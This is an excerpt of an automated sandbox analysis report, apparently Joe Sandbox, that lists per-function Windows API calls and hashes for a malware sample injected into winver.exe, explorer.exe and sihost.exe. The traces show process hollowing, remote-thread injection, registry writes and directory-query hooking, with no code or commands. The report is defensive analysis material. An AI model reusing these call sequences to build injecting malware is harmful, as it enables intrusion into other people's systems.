CloseHandle.KERNEL32(?), ref: 02F0275F

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: a40e3678fe326f262f8e987c9c58990722f01f7e7693261b160253958e830727
Instruction ID: 53c2aef1aa8b8afb0c3de7f99e9f61149e5926a5ad6f8450a541c680ed648f85
Opcode Fuzzy Hash: a40e3678fe326f262f8e987c9c58990722f01f7e7693261b160253958e830727
Instruction Fuzzy Hash: 3001E830640209BFEF129FA0CC89F8D7EB4BF04B44F1041A9BF14B91E1D770AA21AB64

Uniqueness

Uniqueness Score: -1.00%

Function 02F01345 Relevance: 4.6, APIs: 3, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,00000020,00000040,?), ref: 02F01372
VirtualAlloc.KERNELBASE(00000000,00000020,00003000,00000040), ref: 02F01387
VirtualProtect.KERNELBASE(?,00000020,?,?), ref: 02F013E5

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction ID: 93b1ab5daedebc82a863abebd8440accbbcee7e49ebc2c153ba2ed83f4eca2dc
Opcode Fuzzy Hash: e6710b313372bdb89baaa3f3abf609e97fcf4defd94341f28ea73213f73bc76a
Instruction Fuzzy Hash: FA21AE31904216AFDF119F78C884B5EBBB6AF04340F054215FE59BB5D4DB30A800CB94

Uniqueness

Uniqueness Score: -1.00%

Function 02F00B6B Relevance: 4.5, APIs: 3, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000,E9000437), ref: 02F00B77
OpenProcess.KERNEL32(001F0FFF,00000000), ref: 02F00B84

Part of subcall function 02F00DE0: VirtualAllocEx.KERNELBASE(?,00000000,00004F37,00003000,00000040,E8FFF41B,?,E900001B,02F00D88,00000000,0000090B,00000000), ref: 02F00E06
Part of subcall function 02F00DE0: WriteProcessMemory.KERNELBASE(?,-000008D9,00000000,00004F37,00000000), ref: 02F00E24

ExitProcess.KERNEL32(00000000,00000000,000008B3), ref: 02F00BA6

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Process$AllocExitMemoryOpenThreadVirtualWindowWrite
String ID:
API String ID: 2938372061-0
Opcode ID: 1059d9524711834fbe5d8e118d96b44bb8c4a827e91fa872819f30df3597f232
Instruction ID: 887e5636dd4efa8f018f9e5b2dbef78c1ea4e77a88298461d8887e5733e78a43
Opcode Fuzzy Hash: 1059d9524711834fbe5d8e118d96b44bb8c4a827e91fa872819f30df3597f232
Instruction Fuzzy Hash: E9E086B4A812412AFB103E618CC9F9A3E185F05799F080168FF85FE0D7DF60C1465634

Uniqueness

Uniqueness Score: -1.00%

Function 02F0086E Relevance: 4.5, APIs: 3, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNELBASE(00000000,02F00840,0000002E,?,?,?,?,?,00000002,?,00000000,00000000), ref: 02F00876
RegSetValueExA.KERNELBASE(?,00000000,00000000,00000001,80000001,00000000), ref: 02F0089D
RegCloseKey.KERNELBASE(?), ref: 02F008A9

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 80521feeef5b5afe5d23b39b9eb1feefe2f3b5b0f1d0cfe90cf95d840a227002
Instruction ID: 30af9a2d2f5a90970354a76d8b3d716f8b80c703c301778db772b9ba412c6ae8
Opcode Fuzzy Hash: 80521feeef5b5afe5d23b39b9eb1feefe2f3b5b0f1d0cfe90cf95d840a227002
Instruction Fuzzy Hash: 80E09A72100004BFEF125F50DC89A997B75EF54745F1440A1FE4AAD075C7B14A60DF68

Uniqueness

Uniqueness Score: -1.00%

Function 02F008D9 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

Part of subcall function 02F00643: CreateMutexA.KERNELBASE(00000000,00000000), ref: 02F0065A
Part of subcall function 02F00643: LoadLibraryA.KERNELBASE(02F00673,00000009,?,00000000), ref: 02F00681
Part of subcall function 02F00643: lstrcmpiA.KERNEL32(?,00000000), ref: 02F006EB
Part of subcall function 02F00643: Sleep.KERNELBASE(00001388), ref: 02F006FE
Part of subcall function 02F00643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F0071F
Part of subcall function 02F00643: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00731
Part of subcall function 02F00643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F00752
Part of subcall function 02F00643: SetFileAttributesA.KERNELBASE(00000000,00000002), ref: 02F00764
Part of subcall function 02F00643: CreateDirectoryA.KERNELBASE(00000000,00000000,00000000), ref: 02F00785

CreateThread.KERNELBASE(00001FE4,00001FE4,00000000,00000000,00000000,00000000,?,?,?,?,00000002,?,00000000,00000000), ref: 02F00900

Part of subcall function 02F00CE8: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02F00D07
Part of subcall function 02F00CE8: Sleep.KERNELBASE(000003E8), ref: 02F00D1D
Part of subcall function 02F00CE8: Process32First.KERNEL32(?,00000000), ref: 02F00D3D
Part of subcall function 02F00CE8: FindCloseChangeNotification.KERNELBASE(00000000,0000090B,00000000), ref: 02F00D88
Part of subcall function 02F00CE8: Process32Next.KERNEL32(?,?), ref: 02F00D9E
Part of subcall function 02F00CE8: FindCloseChangeNotification.KERNELBASE(?), ref: 02F00DCA
Part of subcall function 02F00CE8: Sleep.KERNELBASE(000003E8), ref: 02F00DD5

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Create$DirectorySleep$AttributesChangeCloseFileFindNotificationProcess32$FirstLibraryLoadMutexNextSnapshotThreadToolhelp32lstrcmpi
String ID:
API String ID: 4243289212-0
Opcode ID: abfbc6871ba53161fe70b4bc33d47f3343101ac8d1b137fc9e23998c520ffae8
Instruction ID: 726dd8fdf586a0218687ef0333ab55de95550cc0fbe46f3b0b9a40072d7873fd
Opcode Fuzzy Hash: abfbc6871ba53161fe70b4bc33d47f3343101ac8d1b137fc9e23998c520ffae8
Instruction Fuzzy Hash: 66D05EA18141607DFB003FB08DD4B3B318EDF10380300853DBE85D91D5DD304A44AD76

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02F02DCF Relevance: 12.1, APIs: 8, Instructions: 52encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,02F02DA0,0000002F,?,00000000,00000001,F0000000), ref: 02F02DE0
CryptImportPublicKeyInfo.CRYPT32(?,00000001,?,00000000), ref: 02F02E06
CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,00000000), ref: 02F02E29
CryptHashData.ADVAPI32(?,00000080,00000080,00000000), ref: 02F02E43
CryptVerifySignatureA.ADVAPI32(?,02F02A30,02F02A2C,?,00000000,00000000), ref: 02F02E63
CryptDestroyHash.ADVAPI32(?), ref: 02F02E71
CryptDestroyKey.ADVAPI32(?), ref: 02F02E7D
CryptReleaseContext.ADVAPI32(?,00000000), ref: 02F02E8B

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Crypt$Hash$ContextDestroy$AcquireCreateDataImportInfoPublicReleaseSignatureVerify
String ID:
API String ID: 295346115-0
Opcode ID: 8daccd83c1521e93d6aa3a18378ac6c6e3e6a1207c5cbc88546a17831c3b5411
Instruction ID: d4d837671d06ee331a39c9e97226c1564ee5ea46e6c1a4b8e2faa1060939f024
Opcode Fuzzy Hash: 8daccd83c1521e93d6aa3a18378ac6c6e3e6a1207c5cbc88546a17831c3b5411
Instruction Fuzzy Hash: A0111C31640115BBEF221F20CC89BD97B75AF54B44F1441D4BE8ABD0A4DBB189A0DF68

Uniqueness

Uniqueness Score: -1.00%

Function 02F0093E Relevance: 18.1, APIs: 12, Instructions: 134sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 02F00959
RtlExitUserThread.NTDLL(00000000), ref: 02F00961
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02F00981
GetStartupInfoA.KERNEL32(00000000), ref: 02F00999

Part of subcall function 02F009D9: CreateProcessA.KERNEL32(00000000,02F009D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02F009E0
Part of subcall function 02F009D9: GetThreadContext.KERNEL32(?,00000000), ref: 02F00A08
Part of subcall function 02F009D9: VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 02F00A33
Part of subcall function 02F009D9: DuplicateHandle.KERNEL32(000000FF,000000FF,?,02F05810,00000000,00000000,00000002), ref: 02F00A78
Part of subcall function 02F009D9: WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 02F00AA6
Part of subcall function 02F009D9: ResumeThread.KERNEL32(?), ref: 02F00AB6
Part of subcall function 02F009D9: Sleep.KERNEL32(000003E8), ref: 02F00AC6
Part of subcall function 02F009D9: OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02F00ADD

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Thread$MutexOpenProcessSleep$ContextCreateDuplicateExitHandleInfoMemoryProtectResumeStartupUserVirtualWrite
String ID:
API String ID: 1099281029-0
Opcode ID: 5d03330d33b3b27a40e3269c6242ef1dc1a02b5c5defd31e13463acd8d2fdf85
Instruction ID: dcd3a9327c4e4865b9b664304a324d077dac97abf37f275efd2f199f5cc6345f
Opcode Fuzzy Hash: 5d03330d33b3b27a40e3269c6242ef1dc1a02b5c5defd31e13463acd8d2fdf85
Instruction Fuzzy Hash: E551A1316442549FEF226F60CCC5B9A77B8AF04784F0401D9BB49FE0D6DBB09690DB65

Uniqueness

Uniqueness Score: -1.00%

Function 02F034B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(00000000,00000000), ref: 02F034A2
lstrcat.KERNEL32(00000000,02F034AD), ref: 02F034B1
Process32Next.KERNEL32(00000000,00000000), ref: 02F034C2
lstrlen.KERNEL32(00000000), ref: 02F034CD

Part of subcall function 02F0276C: VirtualAlloc.KERNEL32(00000000,03E80005,00003000,00000004,?,00000000), ref: 02F02787
Part of subcall function 02F0276C: lstrcat.KERNEL32(00000000,02F027D1), ref: 02F027E0
Part of subcall function 02F0276C: VirtualFree.KERNEL32(-00000005,00000000,00008000,00000000,-00000005,03E80005,00000004,?,00000000), ref: 02F02805

VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,00000000,000000C9), ref: 02F034E7
CloseHandle.KERNEL32(00000000), ref: 02F034EE

Strings

W, xrefs: 02F034C9

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Virtuallstrcat$Free$AllocCloseHandleNextProcess32lstrlen
String ID: W
API String ID: 1406046206-655174618
Opcode ID: c8fa19f9968db6785e07a1955e6f0d7ff49f84e83013956b77b58b1155eecca2
Instruction ID: e28e044440cf7968e713f2b41323bed6f7bcb9deb3b66f1be5b2db58308b29e9
Opcode Fuzzy Hash: c8fa19f9968db6785e07a1955e6f0d7ff49f84e83013956b77b58b1155eecca2
Instruction Fuzzy Hash: 96F03175105510AEEB136F608CC8FBE3AA8AF41745F040099FE85FD099DB6441159A69

Uniqueness

Uniqueness Score: -1.00%

Function 02F009D9 Relevance: 12.1, APIs: 8, Instructions: 76threadsleepprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,02F009D2,00000007,E8FFFF1F,E8FFFBFB,00000000,00000000,00000000,00000004,00000000,00000000,E8FFFC3F,00000000), ref: 02F009E0
GetThreadContext.KERNEL32(?,00000000), ref: 02F00A08
VirtualProtectEx.KERNEL32(?,?,000000EB,00000040,00000000), ref: 02F00A33
DuplicateHandle.KERNEL32(000000FF,000000FF,?,02F05810,00000000,00000000,00000002), ref: 02F00A78
WriteProcessMemory.KERNEL32(?,?,?,000000EB,00000000), ref: 02F00AA6
ResumeThread.KERNEL32(?), ref: 02F00AB6
Sleep.KERNEL32(000003E8), ref: 02F00AC6
OpenMutexA.KERNEL32(001F0001,00000000,00000000), ref: 02F00ADD

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: ProcessThread$ContextCreateDuplicateHandleMemoryMutexOpenProtectResumeSleepVirtualWrite
String ID:
API String ID: 617592159-0
Opcode ID: cb1a56bbf55a9609519a9d5e117579c9d2b8a90392855b77a87fbfe701f84b21
Instruction ID: 868f59966f274d87727562696791e7a8c80f8d2e166e7d36953146412101e73e
Opcode Fuzzy Hash: cb1a56bbf55a9609519a9d5e117579c9d2b8a90392855b77a87fbfe701f84b21
Instruction Fuzzy Hash: AE3150316402549FEF229F51CCC5BAA77B9FF04784F0801D8AA49FE0E5DBB09690DE64

Uniqueness

Uniqueness Score: -1.00%

Function 02F02535 Relevance: 7.6, APIs: 5, Instructions: 95stringCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(02F02525,00000010,?,?,02F029F8,00000104), ref: 02F0253A

Part of subcall function 02F02572: lstrcat.KERNEL32(02F029F8,02F02553), ref: 02F0257A
Part of subcall function 02F02572: lstrcat.KERNEL32(02F029F8,00000000), ref: 02F0258D

ExpandEnvironmentStringsA.KERNEL32(02F025BB,0000000B,?,00000000,02F02634,00000104), ref: 02F025CB
lstrcat.KERNEL32(02F02634,00000000), ref: 02F025DE

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: lstrcat$EnvironmentExpandStrings
String ID:
API String ID: 2903145849-0
Opcode ID: 815612cc5c30cec6fa8ba0fbaeab2fe1927bb25e379c814d3d0a7115e2d1fffc
Instruction ID: 2fa53948d3ee99fb269187e9e6a80ea0357af8f51f0779cf932a715a6c52c68d
Opcode Fuzzy Hash: 815612cc5c30cec6fa8ba0fbaeab2fe1927bb25e379c814d3d0a7115e2d1fffc
Instruction Fuzzy Hash: AB31DB711482819FDB039FA0CCAA9ED7B68FF42344B0840AAEE85DE0A3D6744557DFB5

Uniqueness

Uniqueness Score: -1.00%

Function 02F031C6 Relevance: 7.6, APIs: 5, Instructions: 62processstringCOMMON

Download Yara Rule

APIs

Part of subcall function 02F02597: lstrcat.KERNEL32(02F02634,00000000), ref: 02F025DE

lstrcat.KERNEL32(00000000,00000000), ref: 02F031EA

Part of subcall function 02F026F9: CreateFileA.KERNELBASE(?,40000000,00000003,00000000,?,00000080,00000000,?,00000000), ref: 02F02715
Part of subcall function 02F026F9: SetFilePointer.KERNELBASE(?,00000000,00000000,00000002), ref: 02F02732
Part of subcall function 02F026F9: WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000), ref: 02F0274E
Part of subcall function 02F026F9: CloseHandle.KERNEL32(?), ref: 02F0275F

GetStartupInfoA.KERNEL32(00000000), ref: 02F03228
CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,02F031B5,00000011,?,00000000,00000000), ref: 02F03255
CloseHandle.KERNEL32(?,?,02F031B5,00000011,?,00000000,00000000,00000000,02F0306E,00000004,00000000), ref: 02F03261
CloseHandle.KERNEL32(?,?,02F031B5,00000011,?,00000000,00000000,00000000,02F0306E,00000004,00000000), ref: 02F0326D

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: CloseFileHandle$Createlstrcat$InfoPointerProcessStartupWrite
String ID:
API String ID: 1477093598-0
Opcode ID: 52ca7a41ac4a32d2a2c9c3052bde0af75adf02ba36e72263bc001af510b0aaac
Instruction ID: 3b2aa8d050f53153ff6ac6c724ea38c1300bc23a2201db070bac4ae2400b18fb
Opcode Fuzzy Hash: 52ca7a41ac4a32d2a2c9c3052bde0af75adf02ba36e72263bc001af510b0aaac
Instruction Fuzzy Hash: 0F1166729049189FDF126F60CC88FAFB7BDEF40345F0144A9EA85E6044DB305A80DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02F0343F Relevance: 7.5, APIs: 5, Instructions: 43processmemorystringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02F0344D
Process32First.KERNEL32(00000000,00000000), ref: 02F03473
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 02F0348B
lstrcat.KERNEL32(00000000,00000000), ref: 02F034A2
CloseHandle.KERNEL32(00000000), ref: 02F034EE

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: AllocCloseCreateFirstHandleProcess32SnapshotToolhelp32Virtuallstrcat
String ID:
API String ID: 1167326197-0
Opcode ID: 5f9d1eb2edb9076798b234430a1619a4ded5de1aa51cd46c1ede4133039d73f4
Instruction ID: 86ceee540d0b1a2f8b4cc0fffea335cc1019a1bccc84911e1fbc5bba0a0aaec7
Opcode Fuzzy Hash: 5f9d1eb2edb9076798b234430a1619a4ded5de1aa51cd46c1ede4133039d73f4
Instruction Fuzzy Hash: CE0126706412106FFB635A308CC9BAA36ECEF00795F0401E8FE44FE0D5DF7488158A69

Uniqueness

Uniqueness Score: -1.00%

Function 02F03F0D Relevance: 6.0, APIs: 4, Instructions: 26sleepCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,?,02F03F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 02F03F2D
Sleep.KERNEL32(000003E8,00000000,?,02F03F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 02F03F4B
Sleep.KERNEL32(000007D0), ref: 02F03F5B
Sleep.KERNEL32(00000BB8), ref: 02F03F6B

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: Sleep$HandleModule
String ID:
API String ID: 3646095425-0
Opcode ID: ab11c2741b2bf6d40620f8a1c1d83e6402f3f97ec40c804351164b00e2b9bff0
Instruction ID: 885f389de0fb3a83ad8f29d176fcc8b20af944eda94721dbe7e846062eec785a
Opcode Fuzzy Hash: ab11c2741b2bf6d40620f8a1c1d83e6402f3f97ec40c804351164b00e2b9bff0
Instruction Fuzzy Hash: 9FF01C74988240AAEF543BB08CCDA5936B9AF407C6F0405D1EB89BD0E4DE70A550AF75

Uniqueness

Uniqueness Score: -1.00%

Function 02F03EC3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(02F03EBD,00000006,E8FFFE1B,00000000), ref: 02F03EC8
GetModuleHandleA.KERNEL32(00000000,00000000,?,02F03F03,0000000A,E8FFFF1B,00000000,0000000A), ref: 02F03F2D

Part of subcall function 02F00C9C: GetProcAddress.KERNEL32(02F02811,02F0290A), ref: 02F00CA9

Strings

j, xrefs: 02F03EFC

Memory Dump Source

Source File: 00000002.00000002.2899936580.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f00000_winver.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID: j
API String ID: 310444273-2747090070
Opcode ID: efa1dc669fdda1affb635a68a859d1326d4b89420978e385a295ff765e4871df
Instruction ID: 2931ce148716d4bd257f4e29155a6422e763f967167744f23e47729518b346d3
Opcode Fuzzy Hash: efa1dc669fdda1affb635a68a859d1326d4b89420978e385a295ff765e4871df
Instruction Fuzzy Hash: D6F06875608250ADEF166AB08CC4FAA32BDAF407C6F0440D5EB85E90C4DE309544FFB6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 2580, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.6%
Total number of Nodes:	193
Total number of Limit Nodes:	20

Executed Functions

Function 013A1F8D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
injectionmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 013A1FDE
WriteProcessMemory.KERNEL32 ref: 013A2000
CreateRemoteThread.KERNEL32 ref: 013A2028

Strings

@, xrefs: 013A1FD6

Memory Dump Source

Source File: 00000003.00000002.2908667717.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13a0000_explorer.jbxd

Similarity

API ID: AllocCreateMemoryProcessRemoteThreadVirtualWrite
String ID: @
API String ID: 1718980022-2766056989
Opcode ID: 555e0c67af10e97da054ffcb9d0bcadb1ad1097a1fa24538a47e0c0e30f3960e
Instruction ID: 5dfa931b168189c6da55d443e70d6d7ed06949fb25be811420ce0b21a591a078
Opcode Fuzzy Hash: 555e0c67af10e97da054ffcb9d0bcadb1ad1097a1fa24538a47e0c0e30f3960e
Instruction Fuzzy Hash: CF118F3120C9084FE748EA1CE80D76577DAF7D8325F25436EE44ED3295DE3899168785

Uniqueness

Uniqueness Score: -1.00%

Function 013A2270 Relevance: 1.6, APIs: 1, Instructions: 132
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryDirectoryFile.NTDLL ref: 013A22E1

Memory Dump Source

Source File: 00000003.00000002.2908667717.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13a0000_explorer.jbxd

Similarity

API ID: DirectoryFileQuery
String ID:
API String ID: 3295332484-0
Opcode ID: 60616ae1fcc6cbf86718ecfd86d321865c6476175aa306813cb9b129d8017b94
Instruction ID: e0790b7cde930f9071a54467fb040e6366f2397dce5016f84bcb1becc2eb7ebb
Opcode Fuzzy Hash: 60616ae1fcc6cbf86718ecfd86d321865c6476175aa306813cb9b129d8017b94
Instruction Fuzzy Hash: 6A412E70518A4E8FDF95EF5CC894B6A7BE4FB6E359F80016AE909C7290D734D484CB81

Uniqueness

Uniqueness Score: -1.00%

Function 013A1EE1 Relevance: 1.6, APIs: 1, Instructions: 54
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateUserProcess.NTDLL ref: 013A1F33

Memory Dump Source

Source File: 00000003.00000002.2908667717.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13a0000_explorer.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 94379df3e286b699d65894a0865ea8b3d4463f1672bff53da76e62b6f5315873
Instruction ID: 32af6664475258df2025926b18748e272a5399bca74b2e2a3e5bffc18d134367
Opcode Fuzzy Hash: 94379df3e286b699d65894a0865ea8b3d4463f1672bff53da76e62b6f5315873
Instruction Fuzzy Hash: 30114C74908A8C8FDFC4EF6CC488A697BE0FB68355F54062AB859C32A0D775D8948B41

Uniqueness

Uniqueness Score: -1.00%

Function 013A1D5A Relevance: 4.6, APIs: 3, Instructions: 123
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32 ref: 013A1D99
VirtualAlloc.KERNEL32 ref: 013A1DD2
VirtualProtect.KERNEL32 ref: 013A1E56

Memory Dump Source

Source File: 00000003.00000002.2908667717.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13a0000_explorer.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction ID: de05bf30cab85946a627ca7ca8936c8e7440409c663a25d904fe20d67b3adcc0
Opcode Fuzzy Hash: d4c8ab3f009f1a42ba1f4b1f1ca1d2215188908ad26b68096351dda695124fe0
Instruction Fuzzy Hash: D721F730B34C1E0BFB68A27C9859764F6D2E79C320F980295EA1DD36E4ED58CC8183C6

Uniqueness

Uniqueness Score: -1.00%

Function 01380811 Relevance: 3.1, APIs: 2, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0138092A
RtlExitUserThread.NTDLL ref: 01380933

Memory Dump Source

Source File: 00000003.00000002.2907441227.0000000001380000.00000040.00000400.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1380000_explorer.jbxd

Similarity

API ID: ExitSleepThreadUser
String ID:
API String ID: 3375650085-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: b142c140a4449e8d03ebce8a136155a13ceda980854198c96ff8cdc129ca3d2e
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: EB3106720203056FEF057F749D46ABA3FACEF11318F040165BD85DA0A5EA3049A9CAB6

Uniqueness

Uniqueness Score: -1.00%

Function 013A0811 Relevance: 1.6, APIs: 1, Instructions: 111
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 013A08CE

Memory Dump Source

Source File: 00000003.00000002.2908667717.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13a0000_explorer.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction ID: c25900c69d3d233e20b6c0933702651d16b823d01824eaf3648888e0633aa3cb
Opcode Fuzzy Hash: 992149f37510bf435a63d6c026afa7e5196d855f937f02806c44f21d9357a639
Instruction Fuzzy Hash: C03127720102057FEB057F749D4AABA3FACEF11318F840165BD95DA0A5EA344964CBBA

Uniqueness

Uniqueness Score: -1.00%

Function 013A08B3 Relevance: 1.5, APIs: 1, Instructions: 14
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserThread.NTDLL ref: 013A08CE

Memory Dump Source

Source File: 00000003.00000002.2908667717.00000000013A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 013A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_13a0000_explorer.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: e4423c0a58cdb4c7a61b8c611d717cf6067e42c28c7b42a6ea57d7b01533138c
Instruction ID: d157ced967fd7b67688515da118957b9b7ecc78bb560cdc002d4436a04f96d17
Opcode Fuzzy Hash: e4423c0a58cdb4c7a61b8c611d717cf6067e42c28c7b42a6ea57d7b01533138c
Instruction Fuzzy Hash: BEC04C2757090607CE18777C6C59458795CE92113EBC06735A567D4095E829451642AA

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sihost.exePID: 3420, Parent PID: 7344COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	105
Total number of Limit Nodes:	6

Executed Functions

Function 00AC21D1 Relevance: 1.6, APIs: 1, Instructions: 83
nativeCOMMON

Download Yara Rule

